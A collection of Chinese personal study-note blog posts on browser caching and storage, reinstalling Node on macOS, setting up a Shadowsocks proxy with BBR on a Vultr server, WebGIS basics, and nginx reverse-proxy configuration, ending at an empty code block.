关闭后再次打开浏览器,这些cookie依然有效,直到超过设定的过期时间或被清空才失效。Cookie设置中有个Httponly参数,前端浏览器使用
document.cookie是读取不到HTTPOnly类型cookie的,被设置为HTTPOnly的cookie记录只能通过HTTP请求头发送到服务器端进行读写操作,这样
就避免了服务器端的cookie记录被前端js篡改,保证了服务端验证cookie的安全性。

js在浏览器端可以通过document.cookie来读取非HTTPOnly类型的Cookie记录,document.cookie的内容通常是用等号和分号分割的键值对形式的字符串。

在前端浏览器中,如果要对document.cookie进行修改就比较麻烦了,不过我们同样可以进行统一的封装来达到方便读取和操作cookie的目的

WebSQL(非HTML5规范,了解即可)

WebSQL是浏览器端用于存储较大量数据的缓存机制,不过这只有较新版本的Chrome浏览器支持该机制,并以一个独立浏览器端数据存储规范的形式出现。
WebSQL主要有以下几个特点:

1.WebSQL数据库API实际上不是HTML5规范的组成部分,目前只是一种特定的浏览器特性,而且WebSQL在HTML5之前就已经存在,是单独的规范。

2.WebSQL将数据以数据库二维表的形式存储在客户端,可以根据需要使用js去读取

3.WebSQL与其他存储方式的区别:localStorage和cookie以键值对的形式存在,WebSQL为了更便于检索,允许SQL语句的查询。

4.WebSQL可以让浏览器实现小型数据库存储功能,而且使用的数据库是集成在浏览器里面的

WebSQL API主要包括三个核心方法:openDatabase()、transaction()和executeSql()。

openDatabase()方法可以打开已存在的数据库,并默认创建不存在的数据库。openDatabase()中的五个参数分别为数据库名、版本号、描述、
数据库大小、创建回调,即使创建回调为null也可以创建数据库,transaction()方法允许我们根据情况控制事务提交或回滚,executeSql()则
用于执行真是的SQL查询语句。如果需要进行读操作,而且是读取已存在的记录,我们也可以使用一个回调函数来处理查询的结果。由于兼容性的问题,
加上使用场景比较有限,目前WebSQL的应用并不是很广泛,作为浏览器缓存技术的一种方式仍应当了解。

IndexDB(数据易泄漏,,,不安全,了解即可)

IndexDB也是一个可在客户端存储大量结构化数据并且能在这些数据上使用索引进行高性能检索的一套API。由于WebSQL不是HTML5规范,所以一般推荐
使用IndexDB来进行大量数据的存储。其基本实现和WebSQL类似,只是使用的API规范不一样,WebSQL使用类似NoSql数据库的设计实现,读取效率更高。
浏览器对IndexDB的大小限制通常约为50MB,这样就可以将大量的应用数据保存到本地,在本地满足需要搜索的场景。和WebSQL类似,目前使用IndexDB
的实际应用场景也不是很多,而且将大量数据保存到本地也会造成数据泄露,所以了解即可。

Application Cache(弃用,,,已被ServiceWorkers替代)

Application Cache 是一种允许浏览器通过manifest配置文件在本地有选择性的存储js、css、图片等静态资源的文件级缓存机制。
当页面不是首次打开时,通过一个特定的manifest文件配置描述来选择读取本地Application Cache里面的文件。所以使用Application Cache
来实现浏览器应用具有以下三个优势:

1.离线浏览。通过manifest配置描述来读取本地文件,用户可在离线时浏览完整的页面内容。

2.快速加载。由于缓存资源为本地资源,因此页面加载速度较快

3.服务器负载小,只有在文件资源更新时,浏览器才会从服务器端下载,这样就减小了服务器资源请求的压力

Application Cache 在页面第二次被访问时开始生效。页面打开时优先从Application Cache中访问资源,读取资源加载后同时会去请求
检查服务端的manifest文件是否已更新,如果没有更新,则整个访问过程结束;否则浏览器会去检查manifest列表,将更新的内容重新拉取到
Application Cache中,这样页面第三次访问时就可以加载到更新后的内容了,所以前端页面开发完成后更新的内容将在用户再一次访问时才会生效,
而不是马上就能生效。通常,一个基本的Application Cache离线页面应用至少应该包括HTML页面的manifest配置引用与被引用的manifest文件
另外需要注意的是,在更新缓存时,我们也可以通过window.applicationCache对象来访问浏览器的Application Cache,并可以查看对象的status
属性来获取cache对象的当前状态。

applicationCache对象也可以主动更新cache内容,不需要等到下一次更新。例如调用applicationCache.update()方法,这样浏览器可以去主动
尝试更新用户的Cache(在manifest文件已经改变的情况下)。最后,当applicationCache.status处于UPDATEREADY状态时,
调用applicationCache.swapCache()方法,旧的cache内容就会被置换成新的。

尽管Application Cache的实现很方便,但是仍然需要注意以下几个问题。

1.Application Cache已经开始被标准弃用,渐渐将会由ServiceWorkers来代替,所以现在不建议使用,了解即可

cacheStorage

cacheStorage是在ServiceWorker规范中定义的,可用于保存每个ServiceWorker声明的Cache对象,有open()、match()、has()、delete()、
keys()、五个核心API方法。可以对Cache对象的不同匹配内容进行不同的响应,CacheStorage在浏览器端为window下的全局内置对象caches,
那么我们就可以直接以caches.open()的方式直接使用。

要了解cacheStorage,我们必须深入了解一下ServiceWorker,ServiceWorker与WebWorker一样是在浏览器后台作为一个独立的线程运行的js脚本,
可以为浏览器提供并行的计算和数据处理能力,并通过message/postMessage方法在页面之间进行通信,但是不能与前端界面进行交互。我们知道
Native App(一般指移动客户端的原生应用)可以做到消息推送、离线使用、自动更新等,同样地,如果使用ServiceWorker也可以让Web应用具有类似
功能。

ServiceWorker有他的生命周期,我们在使用ServiceWorker时通常需要先注册ServiceWorker的脚本文件,然后在其脚本中运行caches的缓存控制
方法,caches是浏览器提供的用于存储文件缓存管理的对象,也是浏览器提供的CacheStorage全局对象。

flash缓存(基本已经凉凉了)

主要基于flash,然而flash已经不再推荐使用了

总结

关于浏览器缓存实现的技术和方式较多,尤其是在较新的浏览器上,但目前可以在实际项目中配置应用的有HTTP缓存、localStorage、Cookie
和ServiceWorker。其他的缓存方式我们仅作为知识和历史发展过程了解即可

mac下安装node(强迫症版)

本篇博客仅以个人学习记录使用

mac 下拥有homebrew包管理器:

1.直接使用brew install node 便可以安转最新版本的node

2.先使用brew search node 可以找到当前node的版本 然后再通过 brew install node@10这样可安装指定版本

从nodejs 官网下载pkg的nodejs安装包安装

但是通常在mac上安装都回通过homebrew包管理器去安装,如果这个时候单单node使用从安装包下载的方式安装就很有可能与mac的包管理器所安装的环境变量等有所冲突,所以推荐统一使用包管理器去安装,这样方便包管理器的统一管理

那么如果之前并不知道包管理的存在,或者未使用包管理器安装,匆忙的使用了安装包去安装,但是后来又想通过包管理器去安装,这样产生的冲突怎么解决呢?

先直接一条命令brew uninstall node 卸载包管理器安装的node

通常在使用安装包的默认安装情况下:

1
2
3
先执行:
sudo rm -rf /usr/local/{bin/{node,npm},lib/node_modules/npm,lib/node,share/man//node.}
将local中的node清除

但是往往仅用这一条命令是不够的:

1.删除/usr/local/lib中的所有node和node_modules
2.删除/usr/local/lib中的所有node和node_modules的文件夹
3.如果是从brew安装的, 运行brew uninstall node
4.检查~/中所有的local, lib或者include文件夹, 删除里面所有node和node_modules
5.在/usr/local/bin中, 删除所有node的可执行文件
6.最后运行以下代码:(可能具体安装路径会有区别 ,find ~ -name “node” 可以找到所有

1
2
3
4
5
6
7
8
sudo rm /usr/local/bin/npm
sudo rm /usr/local/share/man/man1/node.1
sudo rm /usr/local/lib/dtrace/node.d
sudo rm -rf ~/.npm
sudo rm -rf ~/.node-gyp
sudo rm /opt/local/bin/node
sudo rm /opt/local/include/node
sudo rm -rf /opt/local/lib/node_modules

注意使用rm命令的风险,尽量确定所将要删除的文件是安全的

这时可能仍然需要使用find ~ -name “node” 和 find ~ -name “npm” 查找缺漏的进行逐一删除

当以上操作全部做完,执行brew doctor 命令检查,当出现相关node警告或错误时,根据提示的文件指向再进行逐一清除。清除过后再次执行brew doctor 检查一遍 ,当出现提示 Your system is ready to brew. 这时便可以再次使用brew install node 命令重新安装node。 这时再出现The brew link step did not complete successfully 这个错误提示时,就按提示执行brew link –overwrite node 将link绑定到node上,即成功安装node。(如果在重装node之后提示’brew link’ 下面的提示上最终提示文件指向node/xx,如:/usr/local/share/doc/node/gdbinit,直接将路径下node/文件夹rm掉,再重新安装即可)。

使用vultr搭建ss科学上网(1)

本篇博客仅以个人学习记录使用

1.在vultr充值,创建serves服务器,得到ssh账号密码

1
ssh root@xxx

2.登录成功后搭建ss服务

1
2
3
$ yum install m2crypto python-setuptools
$ easy_install pip
$ pip install shadowsocks

3.安装完成后配置服务器参数

1
vim  /etc/shadowsocks.json

4.写入如下配置:

1
2
3
4
5
6
7
8
9
10
11
{
"server":"0.0.0.0",
"server_port":443,
"local_address": "127.0.0.1",
"local_port":1080,
"password":"123456",
"timeout":5,
"method":"aes-256-cfb",
"fast_open": false,
"remarks":"xyz"
}

5.多端口的如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"server":"0.0.0.0",
"local_address": "127.0.0.1",
"local_port":1080,
"port_password": {
"443": "443",
"8888": "8888"
},
"timeout":5,
"method":"aes-256-cfb",
"fast_open": false,
"remarks":"xyz"
}

其中server字段与local_address填写之前的IP Address。password是自己用于连接这个shadow socks的密码,自定义就好。
其他的不需要更改。

配置防火墙

这一步主要是为了提高系统安全性(也可以不配置防火墙)

1
2
3
4
# 安装防火墙
$ yum install firewalld
# 启动防火墙
$ systemctl start firewalld

开启防火墙相应的端口
方法一(推荐)

1
2
3
# 端口号是你自己设置的端口
$ firewall-cmd --permanent --zone=public --add-port=443/tcp
$ firewall-cmd --reload

方法二(麻烦,没必要)
新建文件ss.xml

1
$ vi /usr/lib/firewalld/services/ss.xml

粘贴下面的代码

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<service>
<short>SS</short>
<description>Shadowsocks port
</description>
<port protocol="tcp" port="443"/>
</service>

保存退出。
开启端口,重启firewalld 服务,下面的ss是上述的文件的名字,区分大小写

1
2
$ firewall-cmd --permanent --add-service=ss
$ firewall-cmd --reload

启动 Shadowsocks 服务

1
$ ssserver -c /etc/shadowsocks.json

如果想干点其他的实现后台运行,使用

1
nohup ssserver -c /etc/shadowsocks.json &
二、Vultr CentOS7安装Google BBR加速工具方法

一般而言,服务器本身的速度是决定我们项目打开速度、下载速度的关键,但是我们也可以借助第三方软件工具等提高加速效果,比如我们肯定很多人都熟悉的锐速、Net-Speeder可以双倍发包流量,可以减少超时和提高下载速度。这不在前一段时间,来自大名鼎鼎的谷歌发布开源Google BBR工具,可以提高发包数据量,起到加速作用。

这里,我们也在Vultr VPS中安装Google BBR工具,因为是支持KVM和XEN架构的,我们的VULTR都是KVM架构所以肯定支持,但是由于内核的问题,我们需要调试和安装必备的内核和组件才 可以使用,我们一起安装试试吧。

第一、准备工作

这里我选择使用Vultr美国洛杉矶机房5美金月付方案,系统采用CENTOS7 64BIT。很多人要问为什么不选择速度较好的日本机房,因为日本机房虽然目前用NTT线路,PING速度看着还可以,但是稳定性不行,所以我不选择,尤其是晚上速度很差。

第二、查看当前核心

1
uname -r

这里我们看到当前CENTOS7核心是3.10.0-514.2.2.el7.x86_64,这个核心是不可以安装BBR的。

第三、更新内核

1
2
3
rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org

rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm

安装4.9.0内核

1
yum --enablerepo=elrepo-kernel install kernel-ml -y

我们要知道,BBR目前只支持4.9.0内核,其他内核是不行的,需要更换内核才可以。

第四、检查内核是否更新

1
rpm -qa | grep kernel

我们看到了有4.9.0内核,需要启动才可以。

1
grub2-set-default 1

然后重启

1
shutdown -r now

第五、检查是否生效

1
uname -r

检查当前内核是不是4.9.4-1.el7.elrepo.x86_64.

看来内核是搞定了,我们那就开始安装BBR了。

第六、安装Google BBR

1
2
3
4
5
echo 'net.core.default_qdisc=fq' | sudo tee -a /etc/sysctl.conf

echo 'net.ipv4.tcp_congestion_control=bbr' | sudo tee -a /etc/sysctl.conf

sysctl -p

第七、检查BBR是否成功

1
sysctl net.ipv4.tcp_available_congestion_control

执行命令,看看是否是提示”net.ipv4.tcp_available_congestion_control = bbr cubic reno”

1
sysctl -n net.ipv4.tcp_congestion_control

执行命令,是否提示bbr

1
lsmod | grep bbr

执行命令,是否看到BBR提示。

能看到上面提示,就说明BBR安装成功。后面,我们再去安装需要的工具,比如SS或者其他项目,速度上是有明显提升的。

WebGis开发基础

本篇博客仅以个人学习记录使用

B/S体系架构

Web软件开发通常使用B/S(Browser/Server,浏览器/服务器)架构,这是Web兴起后的一种网络结构模式

WebGIS 框架结构

了解WebGis的总体框架,理解其各层次的逻辑结构关系,有助于快速学习WebGIS的开发与应用,高效地完成系统设计与功能实现。
WebGIS的框架跟其他Web项目的框架没有很多本质上的区别,唯一不同的是WebGIS需要提供一些地图方面的功能服务,即GIS服务资源。WebGIS底层为数据层,提供空间数据与业务数据等基础数据支撑:中间层一般包括提供基础GIS服务的GIS服务器和提供应用服务支撑的业务逻辑服务器,其中GIS服务器可以是专业的GIS开发平台或开源GIS项目,也可以是简单的大众化应用地图服务器,主要为应用层提供地图数据服务和功能服务资源;最上层则为客户端应用层,可使用各类WebGIS API进行开发,与GIS服务器或业务逻辑服务器交互,实现满足具体需求的Web应用

WebGIS开发相关的GIS背景知识

WebGIS是GIS与Web相融合的地理信息应用系统。最核心的是空间数据,地图则是其最显著的表现特征。因此,需要了解几何图形、GIS数据、网络地图数据服务,以及WebGIS开发中的一个关键知识—-逻辑坐标与窗口坐标之间的转换

基础几何图形

地图可视化是GIS的基础功能,而几何图形则是地图表达的基本元素,对于二维空间中的点、线、面实体,需要首先了解点、线、区的几何图形概念,理解基于这些基础几何图形抽象表达空间实体的基本原理。
1.点
点是几何图形最基本的单元,是空间中只有位置没有大小的图形。在一个平面上,通常用一个有序坐标对(x,y)来表示一个点,其中习惯上x表示水平位置,y表示垂直位置,虽然一个有序坐标对可以确定一个点的位置,但由于点是现实世界中点状物(如电杆、灯塔、泉水、水文站、气象观测点等)的抽象,种类多种多样,所以除了空间位置外,点还有一些属性,如种类、颜色等。
在计算机中,为了记录和显示不同的点,通常给每个点一个唯一的编号,称为ID:为了显示不同的图案以表达不同的含义,还要记录图案号。
2.线
线是现实世界中线状物(如道路、河流、航线、电力线等)的抽象。当我们要记录一条线时,把所有的点记录下来显然是不切实际的,我们仅仅须记录线上的一些“节点”就可以描述整条线。这些“节点”就是线的端点与转折点。所以,在计算机中,一条线用有限多个有序坐标点来表示。与点类似,线的种类也是多种多样的,除了节点序列,还有颜色、线型、种类等更丰富的属性。为了区分不同的线,每条线同样要分配一个唯一的ID
3.区
区是现实世界中面状物(如地块,湖泊,行政区等)的抽象。在计算机中,区是由平面上三个及三个以上的节点连接而成的封闭图形,即我们通过有序描述区边界的节点来描述一个最简单的区,这样,最简单的区就是一个有限多个有序的坐标点。与点、线类似,区的种类也是多种多样的,除了节点序列,还有颜色,填充图案、种类等属性。为了区分不同的区,每个区同样要分配一个唯一的ID

GIS地图学基础

GIS是地图学的延伸,脱胎于地图。因此,了解地图学基础知识,可以帮助您理解GIS,为GIS开发奠定GIS理论基础。
地球不是一个正球体,是一个近于梨形的椭球体。地球自然表面则是一个起伏不平、十分不规则的表面,既有高山、丘陵和平原,又有江河湖海。
1.坐标系
坐标系统是用于定义要素实际位置的坐标框架,包括坐标原点(o)、长半轴(a)、短半轴(b)、扁率(f)。
坐标系统可分为地理坐标系和投影坐标系:
地理坐标系是直接建立在球体上,用经度和纬度表达地理对象位置,投影坐标系是建立在平面上的坐标系统。
地球椭球体是一种对地球形状的数学描述,常见的坐标系统如图

坐标系 椭球体 坐标原点 椭球体长半轴 椭球体短半轴
1954北京坐标系 克拉索夫斯基椭球体 椭球体中心 6378245 6356863.0
1980西安坐标系 1975国际椭球 椭球体中心 6378140 6356755.2882
WGS1984 WGS1984椭球体 椭球体地心 6378137 6356752.3142
CGCS2000 与我们国家地形逼近的椭球 椭球体地心 6378137 6356752.31414

大地坐标系的定义则是:以参考椭球体(用来模拟地球的光滑球体)中心为原点,本初子午面(英国格林尼制天文台所在位置为本初子午线,及0经度线)为纵轴方向,赤道平面是横轴方向,简单理解,地理坐标系是建立在椭球体基础上的,然而我们拿到手里的通常是一个平面的地图,所以需要把椭球按照一定的法则展开到平面上,这就是投影坐标系
2.投影转换
地球椭球体表面是曲面,而地图通常要绘制在平面图纸上,因此要把曲面展开为平面,然而球面是一个不可展开的曲面,换句话说就是展开并不能保证不发生破裂或褶皱,用这样的平面去绘制地图是不可用的,所以就必须有一种特殊的方法去操作展开为平面,于是就有了地图投影理论。其基本原理是:因为球面上一点的位置决定于它的经纬度,所以实际投影时是先将一些经纬线的交点展绘在平面上,再将相同的经度的点连成经线,相同的纬度的点连成纬线,构成经纬网。有了经纬网以后,就可以将球面上的点,按其经纬度会在平面上相应的位置处。
由于球面上任何一点的位置是用地理坐标表示的,而平面上的点的位置是用直角坐标系(x,y)或极坐标(r)表示的,所以想要将地球表面上的点转移到平面上,必须采用一定的方法来确定地理坐标与平面直角坐标或极坐标之间的关系。从经纬度转换为平面坐标时总会出现扭曲变形,地图投影就是用来减小这种变形的。
地图投影的种类很多,一般按照两种标准进行分类,一是按投影的变形性质分类,二是按照投影的构成方式分类。

按投影变形性质分类:
(1)等角投影。能保持无限小图形的相似,同一点上长度比处处相同,不同点变形圆的半径不同,大范围看,投影图形与地面实际形状并不完全相似。由于这种投影无角度变形,便于图上量测方向/角度,所以常用于真实角度和方向要求高的地图,如航海、洋流和风向图等。由于此类投影面积变形很大,故不能算量面积。
(2)等面积投影。等积投影是等面积投影,便于面积的比较和量算。常用于对面积经度要求较高的自然和经济地图,如地质、土壤、土地利用、行政区划等地图。
(3)任意投影。既不等角又不等积,各方面变形都存在,但都适中。在任意投影中,有一类比较特殊的投影叫做等距投影,满足正轴投影中经线长度比为1,在斜轴或横轴投影中垂直长度比为1。

按投影构成方式分类:
(1)几何投影。几何投影是把椭球体面上的经纬网直接或附加某种条件投影和圆柱投影。根据投影面与球面的位置关系的不同又可将其划分为正轴投影、横轴投影、斜轴投影。
(2)解析投影。解析投影是不借助于辅助几何面,直接用解析法得到经纬网的一种投影,主要包括伪方位投影,伪圆锥投影、伪圆柱投影、多圆锥投影。
目前常用的投影有墨卡托(正轴等角圆柱投影)、高斯-克吕格投影(等角横切圆柱投影)、UTM投影(等角横轴割圆柱投影)、Lambert投影(等角正割圆锥投影)等。

GIS数据与应用

空间数据是GIS的心脏。根据数据来源不同,地理数据包括地图数据、遥感影像数据、地形数据。以及其他的统计数据、文字报告等。针对空间数据,GIS有两大基本存储模型,一种是矢量数据模型,另一种是栅格数据模型。矢量数据模型以离散的点坐标表示地理要素,通过点、线、面以及标记来抽象表达空间实体以及实体间的关系:栅格数据模型则以一系列栅格值来表示,基于网格数据使用不同颜色和灰度额度像元来表达。除此之外,还有TIN数据模型,常用于存储高程数据。一般来说,具有明确对象的空间数据,一般使用矢量数据模型存储,如地籍数据、行政边界、街道等;具有连续空间变化的空间数据,则使用栅格数据模型存储。在实际应用中,大部分地图数据为矢量数据,遥感影像为栅格数据。
空间数据具备空间特征、属性特征和时间特征。其中,空间特征即为地理位置信息,包括空间位置(定位特征)与空间关系(几何特征),一般用坐标数据表示:属性特征表示实体的特征,如名称、分类、质量特征与数量特征等:时间特征则描述实体随时间的变化。在GIS应用中,地理数据库存储空间数据时,将空间几何信息与属性信息进行统一存储管理,同时可将其他属性信息(包括业务数据)单独存储在业务数据库中进行管理,及外挂属性,灵活应用。
在WebGIS应用中,WebGIS的二维地图主要分为矢量地图与瓦片地图两种形式。
(1)何为矢量地图?矢量地图通常指采用矢量数据模型存储的矢量数据组织饿地图。矢量地图加载是根据客户端请求的地图范围实时从服务器的地图数据库取图,实时生成请求范围想对应的地图,返回给客户端一张地图图片。其中,遥感影像与矢量地图采用同样的出图机制和方法。
(2)何为瓦片?瓦片即网格中有多个类似瓦片的图片集。瓦片数据是将矢量或影像数据进行预处理,采用高效地缓存机制(如金字塔)形成的缓存图片集,采用“级、行、列”方式进行组织,可在网页中快速加载。因此,瓦片地图加载是根据客户端请求的地图范围和级别,通过计算行列号获取对应级别下网格的瓦片(即服务预裁剪的图片),由这些瓦片集在客户端形成一张地图。
矢量地图和瓦片地图各具特点和优势,两者可以结合应用。矢量地图实时生成,可以对地图数据进行在线编辑,查询分析,具有空间关系,能够支持网络分析、空间分析等应用。瓦片地图由于是预裁剪的缓存图片集,网络加载速度较快、效果好,常作为地图底图。

网格地图数据服务

所谓”巧妇难为无米之炊”,数据才是王道,否则GIS系统就是一个空架子。在WebGIS应用中,数据组织非常关键,需要根据项目需求进行各方面平衡,以选择最佳的数据组织方案。

WebGIS坐标转换

在WebGIS开发中,涉及到逻辑坐标与窗口坐标的转换。逻辑坐标指实际的地体坐标,即数据坐标系,表示真实的地理空间位置;窗口坐标指Web网页中地图逻辑坐标对应的屏幕坐标,是根据网页中地图容器布局(大小与位置),将地图逻辑坐标进行转换得到的。当在客户端实现图形交互绘制、地图查询、编辑等功能时,鼠标交互获取到的是窗口坐标,通常要将其转换为对应的逻辑坐标,进而实现具体功能。数据坐标到窗口坐标的映射可以看成现实世界中的景物在PC浏览器窗口中的显示。窗口坐标系与数据坐标系存在比例关系,这个比例关系可以理解为数据坐标系中单位长度与窗口坐标系中的长度的投影。如果窗口坐标系的原点是数据坐标系中Q点的投影,那么位于数据坐标系的中一个坐标点p(x,y),当显示到窗口坐标系中对应坐标为P’(x’,y’)时,它们之间存在以下换算关系:

x’=(x-X。)xr y’=(y-Y。)xr
其中,r是窗口坐标系中的单位长度与数据坐标系中对应的实际长度之比,类似于地图比例尺。
例如一个常见的矩形查询,需要将矩形范围的窗口坐标点转为数据坐标点然后把数据坐标范围作为查询条件进行查询。

nginx常用代理配置

本篇博客仅以个人学习记录使用
原文链接: https://blog.csdn.net/lzc4869/article/details/79195357

反向代理

nginx 反向代理 就是说把跨域的 url 通过本地代理的方式,变成同域的请求,如此来解决跨域问题
该配置下 通过http://localhost/html5/路径下的文件去请求http://localhost/request/的相关接口就相当于去请求http://localhost:8888/login/相关的接口

最简反向代理配置

在 http 节点下,使用 upstream 配置服务地址,使用 server 的 location 配置代理映射。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
upstream my_server {
server 10.0.0.2:8080;
keepalive 2000;
}
server {
listen 80;
server_name 10.0.0.1;
client_max_body_size 1024M;

location /my/ {
proxy_pass http://my_server/;
proxy_set_header Host $host:$server_port;
}
}

通过该配置,访问nginx地址http://10.0.0.1:80/my的请求会被转发到my_server服务地址http://10.0.0.2:8080/。

需要注意的是,如果按照如下配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
upstream my_server {
server 10.0.0.2:8080;
keepalive 2000;
}
server {
listen 80;
server_name 10.0.0.1;
client_max_body_size 1024M;

location /my/ {
proxy_pass http://my_server;
proxy_set_header Host $host:$server_port;
}
}

那么,访问nginx地址http://10.0.0.1:80/my的请求会被转发到my_server服务地址http://10.0.0.2:8080/my。这是因为proxy_pass参数中如果不包含url的路径,则会将location的pattern识别的路径作为绝对路径。

重定向报文代理

即便配置了 nginx 代理,当服务返回重定向报文时(http code 为 301 或 302),会将重定向的目标 url 地址放入 http response 报文的 header 的 location 字段内。用户浏览器收到重定向报文时,会解析出该字段并作跳转。此时新的请求报文将直接发送给服务地址,而非 nginx 地址。为了能让 nginx 拦截此类请求,必须修改重定向报文的 location 信息。

1
2
3
4
5
6
location /my/ {
proxy_pass http://my_server;
proxy_set_header Host $host:$server_port;

proxy_redirect / /my/;
}

使用 proxy_redirect 可以修改重定向报文的 location 字段,例子中会将所有的根路径下的 url 代理到 nginx 的/my/路径下返回给用户。比如服务返回的重定向报文的 location 原始值为/login,那么经过 nginx 代理后,用户收到的报文的 location 字段为/my/login。此时,浏览器将会跳转到 nginx 的/my/login 地址进行访问。

需要注意的是,服务返回的重定向报文的 location 字段有时会填写绝对路径(包含服务的 ip/域名和端口),有时候会填写相对路径,此时需要根据实际情况进行甄别

1
2
3
4
5
6
location /my/ {
proxy_pass http://my_server;
proxy_set_header Host $host:$server_port;

proxy_redirect http://my_server/ http://$host:$server_port/my/;
}

上述配置便是将 my_server 服务的根路径下的所有路径代理到 nginx 地址的/my/路径下。当 nginx 配置只有一个 server 时,http://host:server_port前缀可以省略。

报文数据替换

使用 nginx 代理最牛(dan)逼(sui)的情况就是 http 响应报文内写死了服务地址或 web 绝对路径。写死服务地址的情况比较少见,但也偶尔存在。最棘手的是写死了 web 绝对路径,尤其是绝对路径都没有公共前缀。举个例子来说:

一般的 web 页面会包含如下类似路径:

1
2
3
4
/public:用于静态页面资源,如js脚本/public/js,样式表/public/css,图片/public/img等
/static:和/public类似
/api:用于后台服务API接口
/login:用于登录验证

对于这样的服务,可能的代理配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
location /my/ {
proxy_pass http://my_server/;
proxy_set_header Host $host:$server_port;

proxy_redirect / /my/;
}
location /login/ {
proxy_pass http://my_server/public;
proxy_set_header Host $host:$server_port;
}
location /public/ {
proxy_pass http://my_server/public;
proxy_set_header Host $host:$server_port;
}
location /api/ {
proxy_pass http://my_server/api;
proxy_set_header Host $host:$server_port;
}

由于 web 页面或静态资源内写死了类似的绝对路径,那么对于用户来说,通过页面内的链接进行跳转时,都会请求到 nginx 服务对应的路径上。一旦存在另一个服务也包含类似的路径,也需要 nginx 进行代理,那么矛盾就出现了:访问 nginx 的同一个路径下的请求究竟转发给哪一个服务?

要解决这个问题,必须在用户收到报文前,将报文的数据中包含的绝对路径都添加统一的前缀,如/my/public,/my/api,/my/login,这样 nginx 代理配置则可以简化为:

1
2
3
4
5
6
7
8
9
10
11
12
location /my/ {
proxy_pass http://my_server/;
proxy_set_header Host $host:$server_port;

proxy_redirect / /my/;
}
location /other/ {
proxy_pass http://other_server/;
proxy_set_header Host $host:$server_port;

proxy_redirect / /other/;
}

nginx 的 ngx_http_sub_module 模块提供了类似的报文数据替换功能,该模块默认不会安装,需要在编译 nginx 时添加–with-http_sub_module 参数,或者直接下载 nginx 的 rpm 包。

使用 sub_filter 对数据包进行替换的语法如下:

1
2
3
4
5
6
7
8
9
location /my/ {
proxy_pass http://my_server/;
proxy_set_header Host $host:$server_port;

sub_filter 'href="/' 'href="/my/';
sub_filter 'src="/' 'src="/my/';
sub_filter_types text/html;
sub_filter_once off;
}

上述配置会将/my/下的所有响应报文内容的 href=”/替换为 href=”/my,以及 src=”/替换为 src=”/my,即为所有的绝对路径添加公共前缀。

注意,如果需要配置多个 sub_filter,必须保证 nginx 是 1.9.4 版本之上的。

一个简单的完整示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#user root owner;   #在mac中获取权限时需要将注释去掉
worker_processes 2; #启动进程,通常设置成和cpu的数量相等
events {
worker_connections 1024; #单个后台worker process进程的最大并发链接数
}
http {
include mime.types; #设定mime类型,类型由mime.type文件定义
default_type application/octet-stream;
#sendfile 指令指定 nginx 是否调用 sendfile 函数(zero copy)来输出文件,对于普通应用,
#必须设为 on,如果用来进行下载等应用磁盘IO重负载应用,可设置为 off,以平衡磁盘与网络I/O处理速度,降低系统的uptime.
sendfile on;
keepalive_timeout 65; #连接超时时间
server {
listen 80; #侦听80端口
server_name localhost; # 定义使用www.xx.com访问
charset utf-8;
location / {
root html;
add_header Cache-Control no-store;
add_header 'Access-Control-Allow-Origin' '*';
index index.html index.htm;
}
location /request/ {
root /;
proxy_set_header Host $host; #请求主机头字段,否则为服务器名称。
proxy_headers_hash_max_size 1024; #存放http报文头的哈希表容量上限,默认为512个字符
proxy_headers_hash_bucket_size 128; #设置头部哈希表大小 默认为64
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ;
proxy_set_header Accept-Encoding "";
proxy_pass http://localhost:8888/login/; #请求替换地址 例如要请求http://localhost:8888/login/ 也就是请求http://localhost/request/
}
location ~ ^/html5/ {
rewrite /html5(.*)$ $1 break; #该指令根据表达式来重定向URI, 路径中存在/html5/的
expires -1; #缓存
root D:\html5; #前端静态文件物理路径 通过http://localhost/html5/来访问D盘html5下的文件夹
}
}
}

一个 React 类基于 History 模式路由的单页应用 nginx 配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
server {
listen 80;
# gzip config
gzip on;
gzip_min_length 1k;
gzip_comp_level 9;
gzip_types text/plain application/javascript application/x-javascript text/css application/xml text/javascript application/x-httpd-php image/jpeg image/gif image/png;
gzip_vary on;
gzip_disable "MSIE [1-6]\.";

root /usr/share/nginx/html;

location / {
# 用于配合 browserHistory使用
try_files $uri $uri/ /index.html;

# 如果有资源,建议使用 https + http2,配合按需加载可以获得更好的体验
# rewrite ^/(.*)$ https://preview.pro.ant.design/$1 permanent;

}
//示例模板
location /api {
proxy_pass https://ant-design-pro.netlify.com;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
}

location /api {
//实际配置中,带有前缀的api请求可能会需要配置rewrite,进行前缀的代理转发,实际应用中还可配置多个
rewrite ^.+api/?(.*)$ /$1 break;
proxy_pass http://192.168.50.55:9988;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
}

location /gis {
//实际配置中,带有前缀的api请求可能会需要配置rewrite,进行前缀的代理转发,实际应用中还可配置多个
rewrite ^.+gis/?(.*)$ /$1 break;
proxy_pass http://192.168.50.55:9988;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
}

...
}

server {
# 如果有资源,建议使用 https + http2,配合按需加载可以获得更好的体验
listen 443 ssl http2 default_server;

# 证书的公私钥
ssl_certificate /path/to/public.crt;
ssl_certificate_key /path/to/private.key;

location / {
# 用于配合 browserHistory使用
try_files $uri $uri/ /index.html;

}
location /api {
proxy_pass https://ant-design-pro.netlify.com;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
}
}

nginx配置一个图片服务器

本篇博客仅以个人学习记录使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
